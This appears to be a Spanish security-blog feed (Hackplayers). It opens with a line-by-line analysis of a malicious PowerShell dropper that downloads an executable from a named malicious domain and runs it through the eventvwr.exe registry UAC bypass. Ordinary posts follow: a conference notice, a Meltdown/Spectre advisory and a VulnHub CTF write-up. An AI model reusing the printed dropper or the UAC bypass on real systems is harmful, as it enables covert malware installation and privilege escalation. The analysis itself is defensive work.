Como resultado, el proceso se ejecuta sin interrupciones en segundo plano sin necesidad de alertar al usuario o solicitar privilegios elevados para realizar cambios y al usar un pequeño porcentaje de RAM y CPU, la víctima no notará ningún impacto en el rendimiento. Sin la ayuda de una aplicación de monitorización de procesos o herramientas para supervisar el administrador de tareas, sería casi imposible saber que esta aplicación se está ejecutando en segundo plano. Veamos paso a paso cómo lo hace:
1:  “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”  
2:  -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell; 
3:  $webclient = new-object System.Net.WebClient; 
4:  $random = new-object random; 
5:  $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’); 
6:  $name = $random.next(1, 65536); 
7:  $path = $env:temp + ‘\’ + $name + ‘.exe’; 
8:  $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’; 
9:  $sleep = 3000; 
10:  foreach($url in $urls){try{ 
11:       $webclient.DownloadFile($url.ToString(), $path); 
12:       $wscript.RegWrite($hkey, $path); 
13:       Start-Sleep -m $sleep; 
14:       Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’; 
15:       Start-Sleep -m $sleep; 
16:       $wscript.RegDelete($hkey); 
17:       $process = Get-Process $name -ErrorAction silentlycontinue; 
18:       if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;} 
19:            catch{write-host $_.Exception.Message;} 

1. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

La primera línea del comando abre la aplicación PowerShell desde el directorio System32 de Windows.

2. -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;

Abre PowerShell en una ventana oculta para que no sea visible a la víctima. La variable "$wscript" se crea y se asigna a la instancia de WScript.Shell creada. WScript.Shell proporciona acceso a los métodos de shell del sistema operativo que aumentan sustancialmente las capacidades y los tipos de aplicaciones con las que PowerShell puede interactuar.

3. $webclient = new-object System.Net.WebClient;

Se crea la variable $webclient y se le asigna una instancia de System.Net.WebClient. La clase WebClient proporciona una lista de métodos que permiten que el objeto instanciado envíe y reciba datos de servidores web identificados por una URL.

4. $random = new-object random;

Simplemente se crea una nueva instancia de un objeto aleatorio ($random).

5. $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);

La variable $urls se asigna a un archivo binario (officemgmts.exe) alojado en un dominio malicioso. Esta variable también es capaz de encadenar varios binarios alojados en diferentes dominios simplemente separando las diferentes URL con comas. Esto es útil si el adversario tiene una lista de dominios en los que algunos están activos y otros no.

6. $name = $random.next(1, 65536);

Se le asigna a la variable $name un número aleatorio de la variable $random entre 1 y 65536.

7. $path = $env:temp + ‘\’ + $name + ‘.exe’;

La variable $path se establece en el directorio de variables de entorno de Windows que apunta a la carpeta temporal AppData del usuario. Se crea un nuevo archivo ejecutable en esta carpeta y recibe un nombre aleatorio de la variable $name anterior.

8. $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’;

A una nueva variable $hkey se le asigna una clave de registro específica. Esta clave de registro es particularmente importante con respecto al bypass de UAC y se analizará más adelante.

9. $sleep = 3000;

La variable $sleep tiene asignado un valor de 3000 segundos.

10. foreach($url in $urls){try{

En la siguiente sección, veremos qué hace el script para cada valor en la variable $urls. El script itera a través de cada URL dada en la variable $urls y ejecuta los comandos correspondientes en él. En este caso, solo hay una URL en la variable $urls para que la secuencia de comandos solo se repita una vez.

11. $webclient.DownloadFile($url.ToString(), $path);

La variable $webclient se usa para descargar un archivo del sitio web en la variable $urls a la ruta especificada en la variable $path. Explícitamente, esto descarga el archivo "officsemgmts.exe" a la carpeta %appdata%\local\temp.

12. $wscript.RegWrite($hkey, $path);

Aquí es donde se escribe el bypass de UAC. Usando wscript, powershell escribe el valor $path (binario descargado) en la clave de registro $hkey. Ahora, cada vez que un proceso consulte esa clave de registro, devolverá cualquier valor escrito en $hkey. Microsoft Event Viewer es una herramienta de sistema que en particular interactúa con esta clave de registro.

13. Start-Sleep -m $sleep;

El proceso duerme durante 3000 milisegundos, especificado por el indicador -m delante de la variable $sleep.


14. Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;

Aquí es donde se aprovecha el bypass de UAC. El script ejecuta el archivo "eventvwr.exe", que es un binario firmado de Microsoft que se ejecuta con privilegios administrativos elevados. Esto es importante porque no hay un mensaje que permita al usuario denegar la escalada de privilegios. El proceso se ejecuta automáticamente como administrador sin notificar al usuario. La vulnerabilidad radica en que "eventvwr.exe" consulta una clave en el subárbol HKEY_CURRENT_USER (HKCU) antes de consultar la clave correspondiente en el subárbol HKEY_CLASSES_ROOT (HKCR). Como se ve en la línea 12, el archivo binario malicioso descargado ocupa el valor en la clave de registro que consulta "eventvwr.exe" y, como resultado, ejecuta el archivo binario malicioso.

La rama HKEY_CLASSES_ROOT debe tener una clasificación de integridad más alta que la sección HKEY_CURRENT_USER, ya que proporciona una vista del registro que combina información de las ramas HKCU y HKLM. Las entradas de registro subordinadas a la clave HKCR definen tipos (o clases) de documentos y las propiedades asociadas con esos tipos (las aplicaciones Shell y COM usan la información almacenada bajo esta clave), mientras que las entradas de registro subordinadas a la clave HKCU definen las preferencias del usuario actual. Sin embargo, cuando "eventvwr.exe" consulta el registro lee de la clave HKCU antes de la clave HKCR. Básicamente, el proceso está ejecutando datos desde una clave de registro, si existe, con menos integridad antes de que consulte la clave de registro equivalente con mayor integridad. Uno de los tres axiomas de integridad de Biba establece que un sujeto de mayor integridad no debe leer un objeto de menor integridad (sin lectura). Si el proceso que se ejecuta con privilegios elevados lee dos claves de registro correspondientes, en primer orden debe leerse desde la sección HKCR antes de la sección HKCU.

El bypass de UAC está destinado a hacer que la experiencia de Windows sea más fácil de usar, pero cuando se aprovecha de la persona o el proceso incorrectos, puede resultar peligroso. Puedes encontrar más información sobre UAC en Windows 7 aquí.

15. Start-Sleep -m $sleep;

El proceso duerme durante 3000 milisegundos, especificado por el indicador -m delante de la variable $sleep.

16. $wscript.RegDelete($hkey);

Una vez que se ejecuta el bypass de UAC y el proceso duerme durante 3 segundos, el script elimina la clave de registro para cubrir sus huellas.

17. $process = Get-Process $name -ErrorAction silentlycontinue;

La variable de $process se establece como el nombre del archivo aleatorio creado en el directorio temporal. Si hay un error al recuperar el nombre del proceso, el script continuará silenciosamente.

18. if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}

Si el comando anterior no pudo devolver un proceso y continuó en silencio, la ventana permanece oculta y el proceso se rompe.

19. catch{write-host $_.Exception.Message;}

Por último, este es otro mecanismo para mantener el script en ejecución silenciosamente en segundo plano.

Fuente: https://www.invincea.com/2017/03/powershell-exploit-analyzed-line-by-line/

En primicia: ¡Hackplayers va a organizar una CON!


h-c0n Hackplayers' conference (próximo 2 y 3 de febrero)

$
0
0
Reconozco que hemos jugado un poco con el video de ayer aprovechando que era el día de los Santos Inocentes (nuestro April fools day), pero no, no era broma... si va a haber conferencia...

Solo unos pocos lo sabían y ahora, por fin, se va a dar a conocer oficialmente a todos... El próximo 2 y 3 de febrero en el Campus Sur de la Universidad Politécnica de Madrid tendrá lugar la primera Conferencia de Hackplayers, la cual hemos llamado h-c0n Hackplayers' conference.

Las entradas se venderán a través de la plataforma de Ticketbase en tres fases distintas dependiendo del periodo de tiempo y del número de tickets disponible:

- 100 entradas o del 29-dic al 7-ene: 9,75€
- 200 entradas o del 8-ene al 21-ene: 10,75€
- Resto de entradas o del 22-ene al 1-feb: 11,75€

El proyecto surgió hace unos pocos meses, animados por la proliferación de las CONs en muchas ciudades de España y por la, cada vez más intensa, incorporación de profesionales y entusiastas a esto que llaman ahora Ciberseguridad.

Al final me convencieron y unos pocos valientes nos embarcamos en organizarlo y, como suele pasar cuando se adolece de la inexperiencia de la primera vez, empezamos la casa por el tejado: en solo 2 días ya teníamos fecha y la agenda para 12 charlas, pero no éramos del todo conscientes de que aún nos faltaba mucho camino por recorrer...

Y es que lo que vino después ya no fue tan fácil... pero no voy a aburriros con el tedioso pero también fascinante proceso sino con el resultado que al final es lo importante...

Si bien y por razones obvias al principio queríamos un evento pequeño, gracias a la asociación universitaria Core Dumped que se animó a organizarlo con nosotros, disponemos de las espectaculares instalaciones de la ETSISI con un aforo para 500 asistentes, además de la posibilidad de disponer de aulas para la realización de talleres que también hemos incorporado al programa.


En este tipo de eventos tampoco puede faltar un CTF y lo que iba a ser sencillo en un principio con una o dos pruebas, gracias a iHackLabs se ha convertido en un entorno mixto con varias pruebas clásicas de CTF más varias máquinas de lab, que retarán a los más osados y premiarán a los mejores.

También tenemos la oportunidad de contar con algunos patrocinadores y colaboradores que nos han facilitado material para cubrir la conferencia además de algunos descuentos de los que podrán beneficiarse los asistentes al evento y que podréis consultar en la web de la h-c0n. Gracias a Prosegur, Thales, Ihacklabs, Securizame, Camisetasfrikis y Cervezas Cibeles.
Somos un grupo sin ánimo de lucro, pero cualquier aportación de nuevos patrocinadores y colaboradores destinada a incentivar a los asistentes y los ponentes es bienvenida.

Por último no puedo terminar esta entrada sin agradecer a todas las personas que en algún momento han participado de alguna u otra forma en el proceso que de momento nos ha llevado hasta aquí.
Especialmente a mis compañeros y amigos de staff y a todos nuestros ponentes por ofrecerse a impartir charlas y talleres de forma tan desinteresada, sin olvidarme también de David por buscarnos varios sitios y de Dani y Héctor por la máquina de lab para los prequals del CTF.

No ha sido un camino exento de dificultades pero la experiencia y lo conseguido hasta ahora es espectacular. Quién iba a decir que, hace casi 10 años cuando empecé a escribir en un humilde blog, llegaríamos hasta aquí...

Espero que todos los que podáis asistir al evento podáis disfrutarlo tanto como nosotros, nos vemos el 2 y 3 de febrero en el Campus Sur de la Politécnica (ETSISI):

 
http://www.upm.es/
http://www.etsisi.upm.es/
https://coredumped.es/

“Ninguno de nosotros es tan inteligente como todos nosotros.”– Ken Blanchard

Lo más visto del 2017 en Hackplayers

$
0
0
Somos de tradiciones arraigadas y queríamos terminar el año en el blog como lo hicimos en los últimos: con el top 50 de entradas más vistas según Google Analytics y un pequeño resumen de como ha ido el año en este rinconcito en Internet.

Primero daros las gracias como siempre a todos los que estáis leyendo este blog que siempre es y será humilde, abierto a la participación y colaboración de todos, con el objetivo de difundir y compartir conocimientos sobre seguridad informática y hacking. Pero 2017 además ha sido la confirmación de que ya nos hemos convertido en una Comunidad, hemos cruzado las puertas de este blogger para situar nuestras conversaciones en muchos medios y redes sociales: en el grupo de Telegram, en el servidor del Foro, en Twitter, en Facebook... dónde haga falta para transmitir y compartir nuestras inquietudes; y no sólo entre nosotros, con otras comunidades o individualmente pues en la diversidad está la riqueza y el conocimiento. Juntos sumamos más.

Y este 2018 ya sabéis que vamos a dar un pasito más y en apenas un mes estaremos en el Campus Sur de la Politécnica de Madrid en lo que será nuestra primera conferencia: la h-c0n. Esperamos no decepcionaros y que a todos los que vayáis os guste, la calidad de los ponentes los augura. Muchas gracias a todos ellos, a mis amigos del staff y a todos los que de alguna u otra forma han colaborado y participado en el blog.

A todos, ¡feliz y próspero año nuevo!

Top 50 entradas más vistas en 2017:
1. 8 servicios proxy gratuitos para evitar restricciones y mantener el anonimato y la privacidad
2. El abc para desproteger un Excel con contraseña
3. iDict, una herramienta de fuerza bruta para obtener contraseñas de usuarios de iCloud
4. androrat: un troyano RAT para Android
5. Cómo clonar la tarjeta SD de la Raspberry Pi
6. ¿Necesitas un hacker? Echa un vistazo a la Lista de Hackers
7. hackplayers: Blogroll en español
8. ¿Cuál ha sido la vulnerabilidad que ha explotado el ransomware que ha puesto en jaque a Telefónica y a otras grandes compañías?
9. Listado de códigos secretos de Android
10. 25 servicios VPN gratuitos for fun and profit
11. Descarga gratis los 100 mejores libros de hacking de Raj Chandel
12. Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt, una variante de CryptoLocker
13. Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro
14. Introducción a Social-Engineering Toolkit (SET)
15. Listado de herramientas online para escanear sitios web potencialmente maliciosos
16. Cómo hacer copia de seguridad de tu historial de Telegram (Telegram backup)
17. TheFatRat, una utilidad para generar fácilmente backdoors indetectables con Msfvenom
18. Evadir un portal cautivo mediante un túnel DNS
19. Motores de búsqueda de la Internet profunda
20. De cómo colarse en el metro de forma elegante... (NFC hack)
21. ¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?
22. Cómo detectar máquinas vulnerables a #WannaCry (nmap nse script MS17-010)
23. 100 grupos de hackers famosos
24. hackplayers: Retos de Hackplayers
25. Una lista de películas y series que todo hacker debe ver
26. Construye tu propio troyano de hardware a lo Mr. Robot por menos de $15 (OpenWrt + SWORD en NEXX WRT3020F)
27. Cómo usar Google como servidor proxy
28. Lista de las principales certificaciones de seguridad informática y hacking ético
29. WiFite: crackear redes wifi para dummies
30. CEH v8: curso completo en PDF
31. Tutorial para modificar un APK añadiéndole un payload msf
32. 15 sitios para practicar hacking (legalmente) este verano
33. ¿Quieres espiar el móvil de tu novi@? Aquí tienes unas cuantas aplicaciones que no deberías utilizar...
34. Saltando los hotspots con un solo click
35. Cómo crear un certificado SSL auto-firmado
36. Los 10 supercomputadores más potentes del mundo en 2014
37. Cómo comprobar si un equipo Windows está infectado rápidamente y sin herramientas adicionales
38. Qué deberíamos saber sobre Tcpdump (parte I)
39. Recuperar fácilmente ficheros borrados en Linux
40. Siete documentales de hackers que no debes perderte
41. 5 alternativas a Google para que no te sigan la pista en Internet
42. Construye tu propio rover teledirigido con Raspberry Pi y WebIOPi
43. Cómo saltar los enlaces de publicidad como adf.ly o similares
44. Cómo fingir ser un hacker
45. Herramientas SQL Injection
46. Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)
47. Cómo firmar digitalmente los correos enviados desde Yahoo o Gmail
48. Cómo instalar todas las herramientas de Kali en Ubuntu 16.04
49. Nueva herramienta para descifrar BitLocker, PGP y TrueCrypt (Elcomsoft Forensic Disk Decryptor)
50. Taller de lock picking #2: Técnicas de apertura

Buscando Bitcoins en GitHub con Google BigQuery

$
0
0
La gente se deja continuamente cosas confidenciales en Github: claves privadas ssh, documentos de identificación escaneados, contraseñas. etc. Pero, ¿podríamos llegar a encontrar claves privadas de bitcoin y hacernos ricos?

La gente de LiveOverflow ha dejado un video acojonante impresionante, en el que muestran como a través de Google BigQuery se puede lanzar una consulta SQL con un regexp capaz de encontrar millones de claves privadas de monederos de Bitcoin...

Recordar que habéis de empezar el año con buenos propósitos, ver el vídeo pero no seais malos...


La query para buscar BTC en GitHub a través de Google BigQuery

GitHub BigQuery Dataset: https://cloud.google.com/bigquery/public-data/github

Meltdown y Spectre: vulnerabilidades críticas en CPUs

$
0
0
Se han confirmado dos fallos críticos de diseño en la inmensa mayoría de los procesadores integrados del mundo que dejarían vulnerables áreas protegidas de la memoria del núcleo o Kernel del sistema operativo.

Estas vulnerabilidades se han catalogado con los siguientes nombres y CVEs:
- Meltdown: CVE-2017-5754
- Spectre: CVE-2017-5753 y CVE-2017-5715 

Descripción

Una característica de la arquitectura integrada en las CPUs para mejorar el rendimiento del sistema conocida como Ejecución Especulativa (Speculative Execution) es la raíz del problema, ya que es vulnerable a distintos ataques de tipo canal lateral (side-channel attack). 

Explotando estos fallos de seguridad descubiertos se podría ejecutar código malicioso de forma no privilegiada y leer zonas de memoria reservada del Kernel del sistema eludiendo el mecanismo de protección KASLR (Kernel Address Space Layout Randomization) implementado en diversos sistemas operativos para colocar partes del núcleo en sitios aleatorios de memoria y así evitar accesos no autorizados.

"Explotación de la Ejecución Especulativa vía Javascript" es probablemente una de las frases terroríficas que se ha leído ultimamente, porque implica hacer un Dump de memoria del Kernel desde JAVASCRIPT.

Poder leer memoria del Kernel implica la posibilidad de leer la memoria de todo el sistema en la mayoría de Sistema Operativos de 64 bits, en otras palabras, memoria de espacios de direcciones de otros procesos que podría contener información sensible como contraseñas, claves criptográficas, etc. 
Casi todas las implementaciones de CPU de Intel, y otras de AMD y ARM son vulnerables, y por tanto todos los sistemas operativos y dispositivos que hacen uso de estos microprocesadores se ven afectados igualmente.

Diferencias entre Meltdown y Spectre:

Meltdown rompe el mecanismo que impide a las aplicaciones acceder arbitrariamente a la memoria del Sistema y por tanto acaba con el aislamiento en memoria entre el espacio destinado al Kernel y el espacio para usuario en arquitecturas x86.

Spectre rompe el aislamiento entre aplicaciones, y fuerza a éstas a acceder a ubicaciones aleatorias de memoria, independientemente de que éstas se estén ejecutando con un usuario sin privilegios de acceso en el sistema.

Ambos tipos de ataques usan side-channels o canales laterales para obtener información de la memoria.

Recursos Afectados

Respecto a la vulnerabilidad MELTDOWN:
  • Se desconoce con exactitud todos los recursos que se ven afectados, pero sí se conoce que todos los procesadores de Intel desde 1995, excepto la serie Itanium y Atoms anteriores a 2013 se encuentran perjudicados.
  • Respecto a las infraestructuras de Amazon Web Services, Google recomienda que los usuarios de la nube apliquen los parches necesarios y reinicien sus máquinas virutuales.
  • Los sistemas Linux y por otro lado, los procesadores de Qualcomm ARM-Cortex-A75, Cortex-A15, Cortex-A57 y Cortex-A72 también se ven perjudicados.
  • Los procesadores AMD no se ven afectados por esta vulnerabilidad, aunque el principio subyacente se aplica a todas las CPUs superescalares contemporáneas.
  • Proveedores Cloud que usen CPUs Intel y Xen PV para virtualización.
  • Proveedores Cloud sin virtualización hardware real que usen contenedores que compartan Kernel, como Docker, LXC u OpenVZ.
En relación a la vulnerabilidad SPECTRE:
  • Procesadores Intel de la serie Haswell Xeon
  • La familia Ryzen de AMD en sus procesadores AMD FX y AMD Pro.
  • Qualcomm se ve afectado en su variedad de procesadores ARM Cortex-R7, Cortex-R8, Cortex-A8, Cortex-A9, Cortex-A15, Cortex-A17, Cortex-A57, Cortex-A72, Cortex-A73, and Cortex-A75.
  • Esto incluye: ordenadores de escritorio, portátiles, servidores en la nube, servidores cloud.

Solución o Workaround?

- MELTDOWN: varios proveedores han informado de las soluciones  que van a tomar al respecto:

Windows
Windows ha publicado una actualización de emergencia, en sistemas operativos Windows 10 la actualización se realizará automáticamente. En el caso de las versiones Windows 7 y 8 se deberá acceder al menú de actualizaciones como se indica en este enlace: https://support.microsoft.com/es-es/help/3067639/how-to-get-an-update-through-windows-update

MacOS
Los sistemas operativos MacOS tienen una solución parcial en su última versión (High Sierra 10.13.2). Se espera una actualización adicional en unos días.

Linux
En sistemas Linux ya se ha lanzado el parche correspondiente y está disponible para su descarga: https://github.com/IAIK/KAISER

Navegadores
Chrome
La versión 64 de este navegador web estará completamente preparada contra esta vulnerabilidad y se espera la actualización el día 23 de Enero.
Firefox
En el navegador Firefox se han tomado ciertas medidas en su última versión Firefox 57 disponible para su descarga.
Protección extra
Meltdown permite que los ataques se ejecuten a través de un Javascript cargado desde un navegador. Se puede desactivar/bloquear la ejecución de Javascripts manualmente o mediante extensiones tanto en Firefox como en Chrome:
https://addons.mozilla.org/es/firefox/addon/noscript/
https://chrome.google.com/webstore/detail/contentblockhelper/ahnpejopbfnjicblkhclaaefhblgkfpd?hl=es

Herramienta de Intel
El equipo de Intel ha publicado una herramienta para detectar si el procesador está afectado por esta serie de vulnerabilidades: https://downloadcenter.intel.com/download/27150

- SPECTRE:
Aún no se conoce ningún tipo de solución ya que se trata de un fallo en el diseño del procesador. La vulnerabilidad es mucho más difícil de corregir pero también de explotar satisfactoriamente.


Reto 22: #h-c0n2018 prequals

$
0
0
El reto 22 es especial y distinto a los demás nuestros porque realmente se trata de una ronda clasificatoria para acceder al CTF de la h-c0n de 2018 que ha creado Ihacklabs.

Hasta el 14 de enero a las 0:00horas tendréis disponible la imagen que se muestra abajo, que contiene oculto un enlace para la descarga de una máquina de laboratorio vulnerable que hay que comprometer, primero obteniendo una shell para la ejecución remota de comandos y segundo escalando privilegios hasta conseguir root y poder obtener la flag.

Esta flag debe remitirse a la dirección de correo electrónico hackplayerscon@gmail.com para su validación. Posteriormente se solicitará un pequeño writeup o solucionario que muestre esquemáticamente los pasos seguidos para conseguirlo.

Los primeros 45 que lo consigan obtendrán un código para acceder al CTF de iHackLabs. Y atentos porque los 5 primeros además conseguirán una entrada gratuita a la conferencia h-c0n. Si ya habían abonado la entrada con anterioridad, se les devolverá el dinero íntegramente por Paypal.

Así que ánimo y al lío:


Gracias a Dani (adon90) y Héctor (riesc0) por la máquina. Al final nos pilló un pelín el toro pero lo sorteamos ;) 

Cualquier duda podéis comentarla directamente en este post o a través de nuestras RRSS pero eso sí... sin spoilers... ;)

Detección de micrófonos ocultos con Salamandra

$
0
0
Poco a poco vamos a ir paladeando y digiriendo todas las charlas de la Chaos Communication Congress que tuvo lugar recientemente en Leipzig (34C3) y empezamos con la presentación de Veronica Valeros y Sebastián García: Spy vs. Spy: A modern study of microphone bugs operation and detection.

Inspirados en el artista y activista chino Ai Weiwei que descubrió micrófonos ocultos en su casa tras regresar de un viaje de más de dos meses por Alemania y el Reino Unido, enfocaron su investigación principalmente en dispositivos transmisores de radio FM y crearon una herramienta llamada Salamandra capaz de detectar micrófonos espía.
Con sólo un dispositivo SDR (Software Define Radio) como éste (sólo 8€), esta herramienta escrita en python es capaz de encontrar micrófonos basándose en la fuerza de la señal enviada por el micrófono y la cantidad de ruido y frecuencias superpuestas. En función del ruido generado, puede calcular qué tan cerca o lejos está del micrófono.

Instalación

Salamandra necesita previamente tener el software rtl_power instalado:

- MacOS: sudo port install rtl-sdr
- Linux (basados en Debian): apt-get install rtl-sdr
- Windows: Ver http://www.rtl-sdr.com/getting-the-rtl-sdr-to-work-on-windows-10/
Si rtl_power se ha instalado correctamente, deberíamos ser capaces de ejecutar este comando en la consola:

rtl_test

y al menos debe aparecer un dispositivo detectado.

Uso

Uso básico para detectar micrófonos

./salamandra.py

Este comando usará un umbral predeterminado de 10.8, una frecuencia mínima de 100Mhz, una frecuencia máxima de 400Mhz y sonido. Se pueden cambiar los valores predeterminados con parámetros.

Modo de localización para encontrar micrófonos ocultos

Ejecutar Salamandra con un umbral de 0, comenzando en la frecuencia 100MHz y terminando en la frecuencia 200MHz. La búsqueda se activa con (-s). Y hacer sonidos (-S)

./salamandra.py -t 0 -a 100 -b 200 -s -S

Modo de localización desde un archivo rtl_power almacenado

./salamandra.py -t 0 -a-111 -b 113 -s -f stored.csv

Para crear realmente el archivo con rtl_power, de 111MHz a 114MHz, con un paso de 4000Khz, una ganancia de 25, una integración de 1s y una captura de 5min, puede hacer:

rtl_power -f 111M: 114M: 4000Khz -g 25 -i 1 -e 300 stored.csv

Consejos

- Cuanto más amplio sea el rango de frecuencias seleccionadas, más largo será el análisis.
- Cuanto más amplio sea el rango, más probabilidades habrá de encontrar micrófonos.
- Una vez que se conozca la frecuencia "problemática", puede restringirla con parámetros.

Vídeo:


Github:

https://github.com/eldraco/Salamandra

[VulnHub write-up] The Wall by Zaiuss (1 de 2)

$
0
0
Buenos días mis queridos pacientes. Desde Hackplayers me han informado sobre un creciente numero de drogodependientes que a diario van a buscar su dosis a HTB y como soy un doctor preocupado y responsable con mis pacientes… ¡os traigo buena medicina!

He seleccionado una mercancía especial para empezar este 2018 bien dopados: The Wall, de el gran Xerubus. https://www.vulnhub.com/entry/the-wall-1,130/  , está dedicada a Pink Floyd y al igual que discos como Animals, o The Dark Side of the Moon, me parece una jodida obra maestra.

*Si estas leyendo esto y no te gusta escuchar Pink Floyd, un consejo: escúchalos.

Lo más normal seria empezar con un escaneo de nmap, pero en este caso voy a empezar poniendo música 8)

“Another brick in the wall” - https://www.youtube.com/watch?v=5IpYOF4Hi6Q

Ahora sí, localizo la dirección de la máquina y busco algún servicio expuesto:


Ups, ¿nada? Parece que no, con ningún “combo” de nmap… pero la máquina está ahí. Quizás wireshark tenga algo que decir:

 
Anda, mira! Si parece que quiere decirme algo por el puerto 1337. Pongo un netcat a la escucha a ver que pasa…. estoy nervioso.


Buaaaaah! Yo con estas tonterías me emociono, joder. Y fíjate, parece que quieren saludarme.


- Welcome to the machine. https://www.youtube.com/watch?v=lt-udg9zQSE

Ha sido emocionante, ¿pero y ahora que pasa? No tengo muy claro si ha pasado algo o no,  así que voy a seguir dándole al nmap.


Si hombre!, eso antes no estaba ahí. Un http que se acaba de abrir ahora mismo. Pues venga, además voy a entrar como las personas normales.


Jeje, ahí Nick Mason parece John Lennon y Roger Waters, Mick Jagger... nah!, las comparaciones son odiosas.

Bueno, si lo primero que se hace con cualquier paciente es mirarle las tripas, este index no va a ser menos.

Lo sabía, el código fuente esconde un comentario misterioso:

<!--If you want to find out what's behind these cold eyes, you'll just have to claw your way through this disguise. - Pink Floyd, The Wall

Did you know? The Publius Enigma is a mystery surrounding the Division Bell album.  Publius promised an unspecified reward for solving the
riddle, and further claimed that there was an enigma hidden within the artwork.

737465673d3333313135373330646262623337306663626539373230666536333265633035--> 


¿The Publis Enigma?, ni idea que es eso. Voy a llamar a un colega... (mis amigos molan).

Todo correcto, por lo visto “The Publis Enigma” fue una especie de acertijo que el grupo lanzó al mundo y que nunca llegó a resolverse. Quizás fuera solo marketing para confundir a sus fans o simplemente aún nadie ha dado con la llave. Lo que veo es que es demasiado como para seguir por ahí y más cuando tengo un choricete de números que aún ni he mirado, jeje.

737465673d3333313135373330646262623337306663626539373230666536333265633035

Caracteres en hexadecimal 0x73 0x74 0x65… ¿puede ser?

steg=33115730dbbb370fcbe9720fe632ec05

Vale, al ver steg se me ocurren dos cosas, la primera es que la foto del index tiene algo escondido y lo segundo es que me esperan en quirófano para un trasplante de corazón, aunque si hago una llamada al anestesista, que es mi compadre...

Solucionado. A ver, el numerito que viene después de steg es un MD5. Nada para mi rockero favorito John The Ripper.


“Poles Apart” - https://www.youtube.com/watch?v=g2V0s5PbxUk

divisionbell el cuarto disco de Pink Floyd. Debe ser algún tipo de key, además “steg” ...


See Emily Play es un disco de cuando aún estaba Syd Barrett. No sé que nos quiere decir, pero ahí veo un base64 y lo que posiblemente sea otro MD5.


- SydBarrett | pinkfloydrocks - ¿Y que hago con esto? Algún login tendrá que haber en algún sitio.

Estoy bloqueado, no puedo fuzzear el servidor web por qué el server me escupe, nikto tampoco me dice nada y a pelo no doy con nada interesante. Voy a pinchar.

“See Emily Play” - https://www.youtube.com/watch?v=5R8EpAv4miA

Ok ¿que tengo?. Tengo lo que parece ser unas credenciales, y un texto referencia al tema See Emily Play donde también cuentan que Pink Floyd se forma en 1965 y el por qué de este nombre para el grupo.

Eh!...1965, muy astuto, si llega a ser 1337 lo pillo a la primera.


Vaya toalla! Si aquí se van abriendo cosas cada dos por tres. O eso, o no me entero de nada… es igual, hemos venido a jugar y tenemos las llaves del kely de Syd!

SYD BARRETT

Ahí esta el tío, justo antes de ayudar a una señora a llevar la compra… espero.
Syd Barrett fué fundador del grupo, cantante y no sé si tocaba también la guitarra. Tuvo que abandonar el grupo por que sufría algún tipo de esquizofrenia. A saberse, me quedo con las canciones que la banda le hizo en su honor.

“Shine On You Crazy Diamond” - https://www.youtube.com/watch?v=8UXircX3VdM

Vale. ¿Podré entrar por ssh con las credenciales que tenemos (SydBarrett:pinkfloydrocks)?


Parece que no soy del todo bienvenido, dice que tengo que pasar por el sftp donde el flautista de Barrett ha intentado esconder algo. Para encontrarlo hay que listar archivos ocultos.


Madre mía, tengo un montón de cosas: bio.txt (Biografía de Syd Barrett sacada de  la wikipedia), syd_barret_profile_pic.jpg (foto de Syd), sent-items (mail de Syd a Roger Waters, habla sobre lo que anda escondiendo) y eclipsed_by_the_moon (el tesoro de Syd que realmente es un archivo gzip).

Si extraigo el contenido del archivo eclipsed_by_the_moon tengo el archivo eclipsed_by_the_moon.lsd, que resulta ser un archivo de disco. Hasta aquí todo correcto pero ¿.lsd? ¿Lucy in the Sky with Diamonds? ...guiño, codazo.


A priori no se ve nada si monto el archivo con mount, y con strings imposible xD. Pero cuando releo el mail en sent-items:

            Roger... I had to hide the stash.
            Usual deal.. just use the scalpel when you find it.
            Ok, sorry for that.
            Rock on man
            "Syd"

Ahí está la pista; scalpel es un file carver, pero testdisk viene instalado en kali xD


No está mal, en 1965 estaban más comprometidos con la seguridad que hoy en día. Bien hecho Syd, y brilla!

ROGER WATTERS

Esta es la imagen que se esconde en el disco... “Great LSD”, ¿Que querrá decir? ¿Y además me está dando su contraseña?, bueno, si el está feliz no le voy a poner yo ninguna pega, gracias.

 RogerWaters:hello_is_there_anybody_in_there?

“Is There Anybody Out There?” - https://www.youtube.com/watch?v=fNLhxKpfCnA 


Si señor! esas credenciales eran buenas, aquí he roto unos cuantos ladrillos más. Pero por hoy el doctor cierra sus consultas. Mañana continuamos las visitas médicas a The Wall desde la casa de Waters.

Continua en el siguiente post...

[VulnHub write-up] The Wall by Zaiuss (2 de 2)

$
0
0
Ya estoy en la casa de Waters. Aparte de su diario (es una parodia), encuentro una foto suya echándose un pitillo y su biografía, pero nada más interesante. Voy a echar un ojo por los alrededores.

Mirando el /etc/passwd veo que hay un usuario por cada miembro del grupo:

    SydBarrett:*:1000:1000:Syd Barrett:/home/SydBarrett:/sbin/nologin
    NickMason:*:1001:1001:Nick Mason:/home/NickMason:/bin/ksh
    RogerWaters:*:1002:1002:Roger Waters:/home/RogerWaters:/bin/ksh
    RichardWright:*:1003:1003:Richard Wright:/home/RichardWright:/bin/ksh
    DavidGilmour:*:1004:1004:David Gilmour:/home/DavidGilmour:/bin/ksh


No puedo entrar en las casas de los otros usuarios, pero esto no me impide buscar alguna llave debajo de la alfombra. Con find -user tengo más que suficiente.


Woow, dos binarios “setuideados” (maldita palabra fea), de los cuales solo puedo ejecutar brick, el otro tan solo lo podrá ejecutar DavidGulmour o RichardWrigth (y root obviamente). La siguiente prueba es fácil:


Mason has been the drummer on every Pink Floyd album (but not on every song; some feature session drummers, drum machines, or no drumming at all).

NICK MASON
Al acertar la pregunta salto de usuario y ahora soy Nick Manson, (pero sin un ferrari). En su home tengo más o menos lo mismo que en los demás, una foto y su biografía. ¿Una foto suya? A ver ese bigote…

